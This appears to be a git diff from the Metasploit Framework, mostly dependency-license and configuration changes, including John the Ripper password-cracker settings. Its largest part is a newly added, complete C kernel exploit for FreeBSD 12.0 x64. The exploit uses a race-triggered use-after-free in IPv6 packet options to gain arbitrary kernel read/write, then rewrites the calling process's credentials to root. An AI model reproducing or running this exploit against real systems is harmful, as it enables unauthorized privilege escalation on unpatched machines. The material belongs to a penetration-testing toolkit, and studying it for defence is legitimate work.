loofah, 2.6.0, MIT
json, 2.3.1, ruby
loofah, 2.7.0, MIT
memory_profiler, 0.9.14, MIT
metasm, 1.0.4, LGPL-2.1
metasploit-concern, 2.0.5, "New BSD"
metasploit-credential, 3.0.4, "New BSD"
metasploit-framework, 5.0.95, "New BSD"
metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.4.2, "3-clause (or ""modified"") BSD"
metasploit_data_models, 3.0.10, "New BSD"
metasploit_payloads-mettle, 0.5.21, "3-clause (or ""modified"") BSD"
metasploit-concern, 3.0.0, "New BSD"
metasploit-credential, 4.0.2, "New BSD"
metasploit-framework, 6.0.7, "New BSD"
metasploit-model, 3.0.0, "New BSD"
metasploit-payloads, 2.0.12, "3-clause (or ""modified"") BSD"
metasploit_data_models, 4.0.2, "New BSD"
metasploit_payloads-mettle, 1.0.2, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.4.0, MIT
minitest, 5.14.1, MIT
minitest, 5.14.2, MIT
mqtt, 0.5.0, MIT
msgpack, 1.3.3, "Apache 2.0"
multipart-post, 2.1.1, MIT
mustermann, 1.1.1, MIT
nessus_rest, 0.1.6, MIT
net-ldap, 0.16.2, MIT
net-ldap, 0.16.3, MIT
net-ssh, 6.1.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.2.1, "New BSD"
nokogiri, 1.10.9, MIT
nokogiri, 1.10.10, MIT
octokit, 4.18.0, MIT
openssl-ccm, 1.2.2, MIT
openssl-cmac, 2.0.1, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
parallel, 1.19.2, MIT
parser, 2.7.1.3, MIT
parser, 2.7.1.4, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.0, LGPL-2.1
pdf-reader, 2.4.0, MIT
pg, 0.21.0, "New BSD"
pg_array_parser, 0.0.9, unknown
postgres_ext, 3.0.1, MIT
pg, 1.2.3, "Simplified BSD"
pry, 0.13.1, MIT
pry-byebug, 3.9.0, MIT
public_suffix, 4.0.5, MIT
rack, 1.6.13, MIT
rack-protection, 1.5.5, MIT
rack-test, 0.6.3, MIT
rails-deprecated_sanitizer, 1.0.3, MIT
rails-dom-testing, 1.0.9, MIT
public_suffix, 4.0.6, MIT
rack, 2.2.3, MIT
rack-protection, 2.1.0, MIT
rack-test, 1.1.0, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.3.0, MIT
railties, 4.2.11.3, MIT
railties, 5.2.4.4, MIT
rainbow, 3.0.0, MIT
rake, 13.0.1, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.8, unknown
recog, 2.3.14, unknown
redcarpet, 3.5.0, MIT
regexp_parser, 1.7.1, MIT
reline, 0.1.4, "Ruby License"
@@ -122,7 +121,7 @@ rex-rop_builder, 0.1.3, "New BSD"
rex-socket, 0.1.23, "New BSD"
rex-sslscan, 0.1.5, "New BSD"
rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.26, "New BSD"
rex-text, 0.2.28, "New BSD"
rex-zip, 0.1.3, "New BSD"
rexml, 3.2.4, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
@@ -133,19 +132,21 @@ rspec-mocks, 3.9.1, MIT
rspec-rails, 4.0.1, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.9.3, MIT
rubocop, 0.85.1, MIT
rubocop-ast, 0.0.3, MIT
rubocop, 0.90.0, MIT
rubocop-ast, 0.3.0, MIT
ruby-macho, 2.2.0, MIT
ruby-prof, 1.4.1, "Simplified BSD"
ruby-progressbar, 1.10.1, MIT
ruby-rc4, 0.1.5, MIT
ruby_smb, 1.1.0, "New BSD"
ruby2_keywords, 0.0.2, ruby
ruby_smb, 2.0.4, "New BSD"
rubyntlm, 0.6.2, MIT
rubyzip, 2.3.0, "Simplified BSD"
sawyer, 0.8.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.2, MIT
sinatra, 1.4.8, MIT
simpleidn, 0.1.1, MIT
sinatra, 2.1.0, MIT
sqlite3, 1.3.13, "New BSD"
sshkey, 2.0.0, MIT
swagger-blocks, 3.0.0, MIT
@@ -157,11 +158,13 @@ timecop, 0.9.1, MIT
ttfunk, 1.6.2.1, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.7, MIT
tzinfo-data, 1.2020.1, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.7.7, MIT
unicode-display_width, 1.7.0, MIT
warden, 1.2.7, MIT
websocket-driver, 0.7.2, "Apache 2.0"
warden, 1.2.9, MIT
websocket-driver, 0.7.3, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
windows_error, 0.1.2, BSD
xdr, 2.0.0, "Apache 2.0"
xdr, 3.0.1, "Apache 2.0"
xmlrpc, 0.3.0, ruby
yard, 0.9.25, MIT
+3
View File
@@ -0,0 +1,3 @@
class ApplicationRecord < ActiveRecord::Base
self.abstract_class = true
end
@@ -6,7 +6,7 @@ module Metasploit
class FilePathValidator < ActiveModel::EachValidator
def validate_each(record, attribute, value)
unless ::File.file? value
unless value && ::File.file?(value)
record.errors[attribute] << (options[:message] || "is not a valid path to a regular file")
end
end
-1
View File
@@ -1,4 +1,3 @@
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
require 'rails'
require File.expand_path('../boot', __FILE__)
-2
View File
@@ -9,8 +9,6 @@ GEMFILE_EXTENSIONS = [
msfenv_real_pathname = Pathname.new(__FILE__).realpath
root = msfenv_real_pathname.parent.parent
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
unless ENV['BUNDLE_GEMFILE']
require 'pathname'
-11
View File
@@ -1,11 +0,0 @@
# Remove bigdecimal warning - start
# https://github.com/ruby/bigdecimal/pull/115
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
# TODO: remove when upgrading from rails 4.x
require 'bigdecimal'
def BigDecimal.new(*args, **kwargs)
return BigDecimal(*args) if kwargs.empty?
BigDecimal(*args, **kwargs)
end
# Remove bigdecimal warning - end
Binary file not shown.
Binary file not shown.
+611
View File
@@ -0,0 +1,611 @@
/*
FreeBSD 12.0-RELEASE x64 Kernel Exploit
Usage:
$ clang -o exploit exploit.c -lpthread
$ ./exploit
*/
// msf note: written by theflow0: https://hackerone.com/reports/826026
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#define _KERNEL
#include <sys/event.h>
#undef _KERNEL
#define _WANT_FILE
#include <sys/file.h>
#include <sys/filedesc.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/socket.h>
#define _WANT_SOCKET
#include <sys/socketvar.h>
#include <netinet/in.h>
#define _WANT_INPCB
#include <netinet/in_pcb.h>
#include <netinet/ip6.h>
#include <netinet6/ip6_var.h>
// #define FBSD12
#define ELF_MAGIC 0x464c457f
#define IPV6_2292PKTINFO 19
#define IPV6_2292PKTOPTIONS 25
#define TCLASS_MASTER 0x13370000
#define TCLASS_SPRAY 0x41
#define TCLASS_TAINT 0x42
#define NUM_SPRAY_RACE 0x20
#define NUM_SPRAY 0x100
#define NUM_KQUEUES 0x100
#ifdef FBSD12
#define ALLPROC_OFFSET 0x1df3c38
#else
#define ALLPROC_OFFSET 0xf01e40
#endif
#define PKTOPTS_PKTINFO_OFFSET (offsetof(struct ip6_pktopts, ip6po_pktinfo))
#define PKTOPTS_RTHDR_OFFSET (offsetof(struct ip6_pktopts, ip6po_rhinfo.ip6po_rhi_rthdr))
#define PKTOPTS_TCLASS_OFFSET (offsetof(struct ip6_pktopts, ip6po_tclass))
#define PROC_LIST_OFFSET (offsetof(struct proc, p_list))
#define PROC_UCRED_OFFSET (offsetof(struct proc, p_ucred))
#define PROC_FD_OFFSET (offsetof(struct proc, p_fd))
#define PROC_PID_OFFSET (offsetof(struct proc, p_pid))
#ifdef FBSD12
#define FILEDESC_FILES_OFFSET (offsetof(struct filedesc, fd_files))
#define FILEDESCENTTBL_OFILES_OFFSET (offsetof(struct fdescenttbl, fdt_ofiles))
#define FILEDESCENTTBL_NFILES_OFFSET (offsetof(struct fdescenttbl, fdt_nfiles))
#define FILEDESCENT_FILE_OFFSET (offsetof(struct filedescent, fde_file))
#define FILE_TYPE_OFFSET (offsetof(struct file, f_type))
#define FILE_DATA_OFFSET (offsetof(struct file, f_data))
#else
#define FILEDESC_OFILES_OFFSET (offsetof(struct filedesc, fd_ofiles))
#define FILEDESC_NFILES_OFFSET (offsetof(struct filedesc, fd_nfiles))
#define FILE_TYPE_OFFSET (offsetof(struct file, f_type))
#define FILE_DATA_OFFSET (offsetof(struct file, f_data))
#endif
#define KNOTE_FOP_OFFSET (offsetof(struct knote, kn_fop))
#define FILTEROPS_DETACH_OFFSET (offsetof(struct filterops, f_detach))
#define SOCKET_PCB_OFFSET (offsetof(struct socket, so_pcb))
#define INPCB_OUTPUTOPTS_OFFSET (offsetof(struct inpcb, in6p_outputopts))
int kqueue(void);
int kevent(int kq, const struct kevent *changelist, int nchanges,
struct kevent *eventlist, int nevents,
const struct timespec *timeout);
static uint64_t kernel_base;
static uint64_t p_ucred, p_fd;
static uint64_t kevent_addr, pktopts_addr;
static int triggered = 0;
static int kevent_sock, master_sock, overlap_sock, victim_sock;
static int spray_sock[NUM_SPRAY];
static int kq[NUM_KQUEUES];
static void hexDump(const void *data, size_t size) {
size_t i;
for(i = 0; i < size; i++) {
printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
}
printf("\n");
}
static int new_socket(void) {
return socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
}
static void build_tclass_cmsg(char *buf, int val) {
struct cmsghdr *cmsg;
cmsg = (struct cmsghdr *)buf;
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
cmsg->cmsg_level = IPPROTO_IPV6;
cmsg->cmsg_type = IPV6_TCLASS;
*(int *)CMSG_DATA(cmsg) = val;
}
static int build_rthdr_msg(char *buf, int size) {
struct ip6_rthdr *rthdr;
int len;
len = ((size >> 3) - 1) & ~1;
size = (len + 1) << 3;
memset(buf, 0, size);
rthdr = (struct ip6_rthdr *)buf;
rthdr->ip6r_nxt = 0;
rthdr->ip6r_len = len;
rthdr->ip6r_type = IPV6_RTHDR_TYPE_0;
rthdr->ip6r_segleft = rthdr->ip6r_len >> 1;
return size;
}
static int get_rthdr(int s, char *buf, socklen_t len) {
return getsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, &len);
}
static int set_rthdr(int s, char *buf, socklen_t len) {
return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
}
static int free_rthdr(int s) {
return set_rthdr(s, NULL, 0);
}
static int get_tclass(int s) {
int val;
socklen_t len = sizeof(val);
getsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, &len);
return val;
}
static int set_tclass(int s, int val) {
return setsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, sizeof(val));
}
static int get_pktinfo(int s, char *buf) {
socklen_t len = sizeof(struct in6_pktinfo);
return getsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, &len);
}
static int set_pktinfo(int s, char *buf) {
return setsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, sizeof(struct in6_pktinfo));
}
static int set_pktopts(int s, char *buf, socklen_t len) {
return setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, buf, len);
}
static int free_pktopts(int s) {
return set_pktopts(s, NULL, 0);
}
static uint64_t leak_rthdr_ptr(int s) {
char buf[0x100];
get_rthdr(s, buf, sizeof(buf));
return *(uint64_t *)(buf + PKTOPTS_RTHDR_OFFSET);
}
static uint64_t leak_kmalloc(char *buf, int size) {
int rthdr_len = build_rthdr_msg(buf, size);
set_rthdr(master_sock, buf, rthdr_len);
#ifdef FBSD12
get_rthdr(master_sock, buf, rthdr_len);
return *(uint64_t *)(buf + 0x00);
#else
return leak_rthdr_ptr(overlap_sock);
#endif
}
static void write_to_victim(uint64_t addr) {
char buf[sizeof(struct in6_pktinfo)];
*(uint64_t *)(buf + 0x00) = addr;
*(uint64_t *)(buf + 0x08) = 0;
*(uint32_t *)(buf + 0x10) = 0;
set_pktinfo(master_sock, buf);
}
static int find_victim_sock(void) {
char buf[sizeof(struct in6_pktinfo)];
write_to_victim(pktopts_addr + PKTOPTS_PKTINFO_OFFSET);
for (int i = 0; i < NUM_SPRAY; i++) {
get_pktinfo(spray_sock[i], buf);
if (*(uint64_t *)(buf + 0x00) != 0)
return i;
}
return -1;
}
static uint8_t kread8(uint64_t addr) {
char buf[sizeof(struct in6_pktinfo)];
write_to_victim(addr);
get_pktinfo(victim_sock, buf);
return *(uint8_t *)buf;
}
static uint16_t kread16(uint64_t addr) {
char buf[sizeof(struct in6_pktinfo)];
write_to_victim(addr);
get_pktinfo(victim_sock, buf);
return *(uint16_t *)buf;
}
static uint32_t kread32(uint64_t addr) {
char buf[sizeof(struct in6_pktinfo)];
write_to_victim(addr);
get_pktinfo(victim_sock, buf);
return *(uint32_t *)buf;
}
static uint64_t kread64(uint64_t addr) {
char buf[sizeof(struct in6_pktinfo)];
write_to_victim(addr);
get_pktinfo(victim_sock, buf);
return *(uint64_t *)buf;
}
static void kread(void *dst, uint64_t src, size_t len) {
for (int i = 0; i < len; i++)
((uint8_t *)dst)[i] = kread8(src + i);
}
static void kwrite64(uint64_t addr, uint64_t val) {
int fd = open("/dev/kmem", O_RDWR);
if (fd >= 0) {
lseek(fd, addr, SEEK_SET);
write(fd, &val, sizeof(val));
close(fd);
}
}
static int kwrite(uint64_t addr, void *buf) {
write_to_victim(addr);
return set_pktinfo(victim_sock, buf);
}
static uint64_t find_kernel_base(uint64_t addr) {
addr &= ~(PAGE_SIZE - 1);
while (kread32(addr) != ELF_MAGIC)
addr -= PAGE_SIZE;
return addr;
}
static int find_proc_cred_and_fd(pid_t pid) {
uint64_t proc = kread64(kernel_base + ALLPROC_OFFSET);
while (proc) {
if (kread32(proc + PROC_PID_OFFSET) == pid) {
p_ucred = kread64(proc + PROC_UCRED_OFFSET);
p_fd = kread64(proc + PROC_FD_OFFSET);
printf("[+] p_ucred: 0x%lx\n", p_ucred);
printf("[+] p_fd: 0x%lx\n", p_fd);
return 0;
}
proc = kread64(proc + PROC_LIST_OFFSET);
}
return -1;
}
#ifdef FBSD12
static uint64_t find_socket_data(int s) {
uint64_t files, ofiles, fp;
int nfiles;
short type;
files = kread64(p_fd + FILEDESC_FILES_OFFSET);
if (!files)
return 0;
ofiles = files + FILEDESCENTTBL_OFILES_OFFSET;
nfiles = kread32(files + FILEDESCENTTBL_NFILES_OFFSET);
if (s < 0 || s >= nfiles)
return 0;
fp = kread64(ofiles + s * sizeof(struct filedescent) + FILEDESCENT_FILE_OFFSET);
if (!fp)
return 0;
type = kread16(fp + FILE_TYPE_OFFSET);
if (type != DTYPE_SOCKET)
return 0;
return kread64(fp + FILE_DATA_OFFSET);
}
#else
static uint64_t find_socket_data(int s) {
uint64_t ofiles, fp;
int nfiles;
short type;
ofiles = kread64(p_fd + FILEDESC_OFILES_OFFSET);
if (!ofiles)
return 0;
nfiles = kread32(p_fd + FILEDESC_NFILES_OFFSET);
if (s < 0 || s >= nfiles)
return 0;
fp = kread64(ofiles + s * sizeof(struct file *));
if (!fp)
return 0;
type = kread16(fp + FILE_TYPE_OFFSET);
if (type != DTYPE_SOCKET)
return 0;
return kread64(fp + FILE_DATA_OFFSET);
}
#endif
static uint64_t find_socket_pcb(int s) {
uint64_t f_data;
f_data = find_socket_data(s);
if (!f_data)
return 0;
return kread64(f_data + SOCKET_PCB_OFFSET);
}
static uint64_t find_socket_pktopts(int s) {
uint64_t in6p;
in6p = find_socket_pcb(s);
if (!in6p)
return 0;
return kread64(in6p + INPCB_OUTPUTOPTS_OFFSET);
}
static void cleanup(void) {
uint64_t master_pktopts, overlap_pktopts, victim_pktopts;
master_pktopts = find_socket_pktopts(master_sock);
overlap_pktopts = find_socket_pktopts(overlap_sock);
victim_pktopts = find_socket_pktopts(victim_sock);
kwrite64(master_pktopts + PKTOPTS_PKTINFO_OFFSET, 0);
kwrite64(overlap_pktopts + PKTOPTS_RTHDR_OFFSET, 0);
kwrite64(victim_pktopts + PKTOPTS_PKTINFO_OFFSET, 0);
}
static void escalate_privileges(void) {
char buf[sizeof(struct in6_pktinfo)];
*(uint32_t *)(buf + 0x00) = 0; // cr_uid
*(uint32_t *)(buf + 0x04) = 0; // cr_ruid
*(uint32_t *)(buf + 0x08) = 0; // cr_svuid
*(uint32_t *)(buf + 0x0c) = 1; // cr_ngroups
*(uint32_t *)(buf + 0x10) = 0; // cr_rgid
kwrite(p_ucred + 4, buf);
}
static int find_overlap_sock(void) {
set_tclass(master_sock, TCLASS_TAINT);
for (int i = 0; i < NUM_SPRAY; i++) {
if (get_tclass(spray_sock[i]) == TCLASS_TAINT)
return i;
}
return -1;
}
static int spray_pktopts(void) {
for (int i = 0; i < NUM_SPRAY_RACE; i++)
set_tclass(spray_sock[i], TCLASS_SPRAY);
if (get_tclass(master_sock) == TCLASS_SPRAY)
return 1;
for (int i = 0; i < NUM_SPRAY_RACE; i++)
free_pktopts(spray_sock[i]);
return 0;
}
static void *use_thread(void *arg) {
char buf[CMSG_SPACE(sizeof(int))];
build_tclass_cmsg(buf, 0);
while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) {
set_pktopts(master_sock, buf, sizeof(buf));
#ifdef FBSD12
usleep(100);
#endif
}
triggered = 1;
return NULL;
}
static void *free_thread(void *arg) {
while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) {
free_pktopts(master_sock);
#ifdef FBSD12
if (spray_pktopts())
break;
#endif
usleep(100);
}
triggered = 1;
return NULL;
}
static int trigger_uaf(void) {
pthread_t th[2];
pthread_create(&th[0], NULL, use_thread, NULL);
pthread_create(&th[1], NULL, free_thread, NULL);
while (1) {
if (spray_pktopts())
break;
#ifndef FBSD12
usleep(100);
#endif
}
triggered = 1;
pthread_join(th[0], NULL);
pthread_join(th[1], NULL);
return find_overlap_sock();
}
static int fake_pktopts(uint64_t pktinfo) {
char buf[0x100];
int rthdr_len, tclass;
// Free master_sock's pktopts
free_pktopts(overlap_sock);
// Spray rthdr's to refill master_sock's pktopts
rthdr_len = build_rthdr_msg(buf, 0x100);
for (int i = 0; i < NUM_SPRAY; i++) {
*(uint64_t *)(buf + PKTOPTS_PKTINFO_OFFSET) = pktinfo;
*(uint32_t *)(buf + PKTOPTS_TCLASS_OFFSET) = TCLASS_MASTER | i;
set_rthdr(spray_sock[i], buf, rthdr_len);
}
tclass = get_tclass(master_sock);
// See if pktopts has been refilled correctly
if ((tclass & 0xffff0000) != TCLASS_MASTER) {
printf("[-] Error could not refill pktopts.\n");
exit(1);
}
return tclass & 0xffff;
}
static void leak_kevent_pktopts(void) {
char buf[0x800];
struct kevent kv;
EV_SET(&kv, kevent_sock, EVFILT_READ, EV_ADD, 0, 5, NULL);
// Free pktopts
for (int i = 0; i < NUM_SPRAY; i++)
free_pktopts(spray_sock[i]);
// Leak 0x800 kmalloc addr
kevent_addr = leak_kmalloc(buf, 0x800);
printf("[+] kevent_addr: 0x%lx\n", kevent_addr);
// Free rthdr buffer and spray kevents to occupy this location
free_rthdr(master_sock);
for (int i = 0; i < NUM_KQUEUES; i++)
kevent(kq[i], &kv, 1, 0, 0, 0);
// Leak 0x100 kmalloc addr
pktopts_addr = leak_kmalloc(buf, 0x100);
printf("[+] pktopts_addr: 0x%lx\n", pktopts_addr);
// Free rthdr buffer and spray pktopts to occupy this location
free_rthdr(master_sock);
for (int i = 0; i < NUM_SPRAY; i++)
set_tclass(spray_sock[i], 0);
}
int main(int argc, char *argv[]) {
uint64_t knote, kn_fop, f_detach;
int idx;
printf("[*] Initializing sockets...\n");
kevent_sock = new_socket();
master_sock = new_socket();
for (int i = 0; i < NUM_SPRAY; i++)
spray_sock[i] = new_socket();
for (int i = 0; i < NUM_KQUEUES; i++)
kq[i] = kqueue();
printf("[*] Triggering UAF...\n");
idx = trigger_uaf();
if (idx == -1) {
printf("[-] Error could not find overlap sock.\n");
exit(1);
}
// master_sock and overlap_sock point to the same pktopts
overlap_sock = spray_sock[idx];
spray_sock[idx] = new_socket();
printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
// Reallocate pktopts
for (int i = 0; i < NUM_SPRAY; i++) {
free_pktopts(spray_sock[i]);
set_tclass(spray_sock[i], 0);
}
// Fake master pktopts
idx = fake_pktopts(0);
overlap_sock = spray_sock[idx];
spray_sock[idx] = new_socket(); // use new socket so logic in spraying will be easier
printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
// Leak address of some kevent and pktopts
leak_kevent_pktopts();
// Fake master pktopts
idx = fake_pktopts(pktopts_addr + PKTOPTS_PKTINFO_OFFSET);
overlap_sock = spray_sock[idx];
printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
idx = find_victim_sock();
if (idx == -1) {
printf("[-] Error could not find victim sock.\n");
exit(1);
}
victim_sock = spray_sock[idx];
printf("[+] Victim socket: %x (%x)\n", victim_sock, idx);
printf("[+] Arbitrary R/W achieved.\n");
knote = kread64(kevent_addr + kevent_sock * sizeof(uintptr_t));
kn_fop = kread64(knote + KNOTE_FOP_OFFSET);
f_detach = kread64(kn_fop + FILTEROPS_DETACH_OFFSET);
printf("[+] knote: 0x%lx\n", knote);
printf("[+] kn_fop: 0x%lx\n", kn_fop);
printf("[+] f_detach: 0x%lx\n", f_detach);
printf("[+] Finding kernel base...\n");
kernel_base = find_kernel_base(f_detach);
printf("[+] Kernel base: 0x%lx\n", kernel_base);
printf("[+] Finding process cred and fd...\n");
find_proc_cred_and_fd(getpid());
printf("[*] Escalating privileges...\n");
escalate_privileges();
printf("[*] Cleaning up...\n");
cleanup();
printf("[+] Done.\n");
return 0;
}
Binary file not shown.
-3
View File
@@ -36,9 +36,6 @@ void init()
else
maxlength = 2;
# UTF-8 representation is up to 3x the character length
if (maxlength * 3 > cipher_limit)
maxlength = (cipher_limit + 2) / 3;
/*
* This defines the character set. This is auto-generated from UnicodeData.txt
* and we skip control characters.
-3
View File
@@ -41,9 +41,6 @@ void init()
else
maxlength = 2;
# UTF-8 representation is up to 4x the character length
if (maxlength * 4 > cipher_limit)
maxlength = (cipher_limit + 3) / 4;
/*
* This defines the character set. This is auto-generated from UnicodeData.txt
* and we skip control characters.
+1 -1
View File
@@ -92,7 +92,7 @@ Test=$dynamic_2005$e7222e806a8ce5efa6d48acb3aa56dc2$aaaaa:test3
TestD=$dynamic_2005$ba5528ac65c20213e105bb02e6aaf6a2$1234567890123456789012345678901234567890:12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
[List.Generic:dynamic_2006]
Expression=md5(md5($p).$s) (PW > 55 bytes)
Expression=md5(md5($p).$s) (vBulletin, PW > 55 bytes or/and salt > 23 bytes)
Flag=MGF_SALTED
Flag=MGF_KEYS_BASE16_IN1
Flag=MGF_FLAT_BUFFERS
+1389 -1308
View File
@@ -1,6 +1,6 @@
#
# This file is part of John the Ripper password cracker,
# Copyright (c) 1996-2006,2008-2013 by Solar Designer
# Copyright (c) 1996-2006,2008-2013,2019 by Solar Designer
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted.
@@ -42,9 +42,11 @@ SingleRules = Single
# Default batch mode Wordlist rules
BatchModeWordlistRules = Wordlist
# Default wordlist mode rules when not in batch mode (if any)
# If this is set and you want to run once without rules, use --rules:none
#WordlistRules = Wordlist
# Default wordlist mode rules when not in batch mode (if any). If this is
# changed from an 'empty list' to have default rules applied, and you later
# DO want to perform a run once without rules, use --rules:none on the
# command line. The default is 'empty' or NO rules run at all.
WordlistRules =
# Default loopback mode rules (if any)
# If this is set and you want to run once without rules, use --rules:none
@@ -54,14 +56,11 @@ LoopbackRules = Loopback
# before suppressing the warnings.
MaxKPCWarnings = 10
# If set to true, relax the KPC warning checks and only warn for really
# bad situations (the fewer salts, the more slack).
RelaxKPCWarningCheck = N
# Default/batch mode Incremental mode
# Warning: changing these might currently break resume on existing sessions
# one option frequently changed (with above caveat) is setting DefaultIncrementalUTF8 = UTF8
DefaultIncremental = ASCII
#DefaultIncrementalUTF8 = UTF8
DefaultIncrementalUTF8 = ASCII
DefaultIncrementalLM = LM_ASCII
# Time formatting string used in status ETA.
@@ -85,19 +84,29 @@ TimeFormat24 = %H:%M:%S
# strftime for more information:
# http://en.cppreference.com/w/c/chrono/strftime
#
# examples:
# 2016-02-20T22:35:38+01:00 would be %Y-%m-%dT%H:%M:%S%z
# Feb 20 22:35:38 would be %b %d %H:%M:%S
#LogDateFormat = %Y-%m-%dT%H:%M:%S%z
LogDateFormat =
# if log date is being used, the time will default to local
# time. But if the next line is uncommented, it will output
# time. But if the next line is changed to 'Y', date output
# in UTC. Note, if LogDateFormat is not set, this option
# does nothing.
#LogDateFormatUTC = Y
# is ignored.
LogDateFormatUTC = N
# if logging to stderr (--log-stderr command line switch used),
# then use date format when outputting to the stderr.
#LogDateStderrFormat = %b %d %H:%M:%S
#
# example
# Feb 20 22:35:38 would be %b %d %H:%M:%S
LogDateStderrFormat =
# If this is given, it will be printed in the end on any cracked password
# output. In case some 8-bit passwords upset your terminal, putting an
# ANSI "SGR Reset/Normal" here might be a cure. Any "^" characters will be
# parsed as ESC for use in ANSI codes (like in the default)
TerminalReset = ^[0m
# This can be used to colorize (on screen) or otherwise emphasize (in log
# files) output whenever a supposed administrator password gets cracked.
@@ -108,9 +117,12 @@ MarkAdminCracks = Y
# If MarkAdminCracks = Y above, the below will be used (if defined) for
# terminal output. The default is to change color to red before the username
# and reset to normal after it. Any "^" characters will be parsed as ESC for
# use in ANSI codes (like in the defaults)
MarkAdminStart = ^[31m
# use in ANSI codes (like in the defaults).
# The "MarkOther" entries will make non-admin stuff brown.
MarkAdminStart = ^[0;31m
MarkAdminEnd = ^[0m
MarkOtherStart = ^[0;33m
MarkOtherEnd = ^[0m
# If MarkAdminCracks = Y above, the below will be used (if defined) for logs.
# This literal string will be printed after the " + Cracked: root" line.
@@ -118,16 +130,16 @@ MarkAdminString = (ADMIN ACCOUNT)
# Permissions to set for session.log file
# Default is 0600
#LogFilePermissions = 0600
LogFilePermissions = 0600
# Permissions to set for POT file
# Default is 0600
#PotFilePermissions = 0600
PotFilePermissions = 0600
# John exits if another user owns log or pot file because CHMOD fails,
# If this is set John prints a warning and continues
# Default is N
#IgnoreChmodErrors = N
IgnoreChmodErrors = N
# This figure is in MB. The default is to memory map wordlists not larger
# than one terabyte.
@@ -159,16 +171,25 @@ SingleSkipLogin = N
# by word seed options --single-seed and/or --single-wordlist if needed.
SingleWordsPairMax = 6
# Un-commenting this stops Single mode from re-testing guessed plaintexts
# Setting this to false stops Single mode from re-testing guessed plaintexts
# with all other salts.
#SingleRetestGuessed = N
SingleRetestGuessed = Y
# Max recursion depth for SingleRetestGuessed, so we don't blow the stack
SingleMaxRecursionDepth = 10000
# Set the maximum word buffer size used by Single mode. The default is
# 4 GB. If running fork this is the *total* used by a session (size is
# divided by number of forks). If running MPI, we try to determine the
# number of local processes on each node and divide it accordingly.
# 4 GB. Note that you may want to set SingleMaxBufferAvailMem (below) to
# true instead.
#
# If this figure is explicitly set to zero, and SingleMaxBufferAvailMem
# is false, there will be NO LIMIT!
SingleMaxBufferSize = 4
# If true, the actual amount of physical memory at runtime, if known, will
# override the figure from SingleMaxBufferSize (may increase or decrease!).
SingleMaxBufferAvailMem = N
# When running single mode with a GPU or accelerator, we prioritize speed
# (saturating buffers) over resume ability: When resuming such a session
# it may take longer to catch up. Set this option to Y to prioritize
@@ -183,7 +204,7 @@ SinglePrioResume = N
# with a --session=xxxx will be protected from being overwritten. If
# the option is set to "Always", then all .rec files will be kept from
# being overwritten, even ${JOHN}/john.rec file
#SessionFileProtect = Named
SessionFileProtect = Disabled
# Protect the log files (*.log) from being reused by new sessons.
# The default mode is "Disabled". That means, a nee session will just append
@@ -196,7 +217,7 @@ SinglePrioResume = N
# existing log file.)
# Unless you use the --nolog option, setting LogFileProtect will also
# prevent overwriting existing session files.
#LogFileProtect = Named
LogFileProtect = Disabled
# Emit a status line whenever a password is cracked (this is the same as
# passing the --crack-status option flag to john). NOTE: if this is set
@@ -208,6 +229,12 @@ CrackStatus = N
# will be exact while the screen output will be a multiple of batch size).
StatusShowCandidates = N
# Show updated "Remaining" counts when we got rid of any salt(s).
ShowSaltProgress = N
# Show updated "Remaining" counts on status output (if it changed).
ShowRemainOnStatus = N
# Write cracked passwords to the log file (default is just the user name)
LogCrackedPasswords = N
@@ -235,7 +262,7 @@ DefaultMSCodepage = CP850
# is fastest. Using "UTF-8" (which is not a legacy codepage!) will disable.
#
# The default is to NOT use any internal codepage.
#DefaultInternalCodepage = ISO-8859-1
DefaultInternalCodepage =
# Warn if seeing UTF-8 when expecting some other encoding, or vice versa.
# This is disabled for ASCII or RAW encodings, for performance.
@@ -304,6 +331,8 @@ PauseFile = /var/run/john/pause
# With: password123 (Administrator:500)
# Without password123 (Administrator)
# This is disabled by --save-memory.
# NOTE: For WPAPSK, this will actually show gid instead, which is the MAC
# address of the access point.
ShowUIDinCracks = N
# This sets the "grace time" for --max-run-time=N. If john has not finished
@@ -319,24 +348,6 @@ AbortGraceTime = 30
# This may produce some false positives if enabled, at least for SAP-B.
SAPhalfHashes = N
# This allows you to list a few words/names that will be used by single mode
# as if they were included in every GECOS field. Use sparingly! Please note
# that the example words are commented out, so the list is empty!
[List.Single:SeedWords]
#Pass
#Secret
#Test
# This allows you to read extra pot files when loading hashes. Nothing will
# ever be written to these files, they are just read. Any directory in this
# list will be traversed and files in it with an extension of .pot will be
